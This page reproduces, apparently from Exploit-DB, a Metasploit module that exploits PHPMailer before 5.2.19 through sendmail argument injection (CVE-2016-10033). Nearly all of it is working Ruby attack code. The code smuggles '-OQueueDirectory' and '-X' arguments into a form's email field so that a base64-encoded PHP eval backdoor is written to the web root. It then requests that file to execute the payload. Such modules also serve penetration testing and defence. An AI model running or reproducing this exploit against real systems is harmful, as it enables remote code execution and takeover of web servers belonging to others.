PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)

  • 作者: Metasploit
    日期: 2016-12-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41688/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ManualRanking
    
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'PHPMailer Sendmail Argument Injection',
    'Description'=> %q{
    PHPMailer versions up to and including 5.2.19 are affected by a
    vulnerability which can be leveraged by an attacker to write a file with
    partially controlled contents to an arbitrary location through injection
    of arguments that are passed to the sendmail binary. This module
    writes a payload to the web root of the webserver before then executing
    it with an HTTP request. The user running PHPMailer must have write
    access to the specified WEB_ROOT directory and successful exploitation
    can take a few minutes.
    },
    'Author' => [
    'Dawid Golunski', # vulnerability discovery and original PoC
    'Spencer McIntyre'# metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' => [
    ['CVE', '2016-10033'],
    ['CVE', '2016-10045'],
    ['EDB', '40968'],
    ['EDB', '40969'],
    ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
    ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
    ],
    'DisclosureDate' => 'Dec 26 2016',
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Payload'=> {'DisableNops' => true},
    'Targets'=> [
    ['PHPMailer <5.2.18', {}],
    ['PHPMailer 5.2.18 - 5.2.19', {}]
    ],
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    OptString.new('TARGETURI',[true, 'Path to the application root', '/']),
    OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
    OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
    ], self.class)
    register_advanced_options(
    [
    OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
    ], self.class)
    end
    
    def trigger(trigger_uri)
    print_status("Sleeping before requesting the payload from: #{trigger_uri}")
    
    page_found = false
    sleep_time = 10
    wait_time = datastore['WAIT_TIMEOUT']
    print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
    while wait_time > 0
    sleep(sleep_time)
    wait_time -= sleep_time
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> trigger_uri
    )
    
    if res.nil?
    if page_found or session_created?
    print_good('Successfully triggered the payload')
    break
    end
    
    next
    end
    
    next unless res.code == 200
    
    if res.body.length == 0 and not page_found
    print_good('Successfully found the payload')
    page_found = true
    end
    end
    end
    
    def exploit
    payload_file_name = "#{rand_text_alphanumeric(8)}.php"
    payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
    
    if target.name == 'PHPMailer <5.2.18'
    email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
    email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    else
    fail_with(Failure::NoTarget, 'The specified version is not supported')
    end
    
    data = Rex::MIME::Message.new
    data.add_part('submit', nil, nil, 'form-data; name="action"')
    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
    data.add_part(email, nil, nil, 'form-data; name="email"')
    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
    
    print_status("Writing the backdoor to #{payload_file_path}")
    res = send_request_cgi(
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri),
    'ctype'=> "multipart/form-data; boundary=#{data.bound}",
    'data' => data.to_s
    )
    
    register_files_for_cleanup(payload_file_path)
    
    trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
    end
    end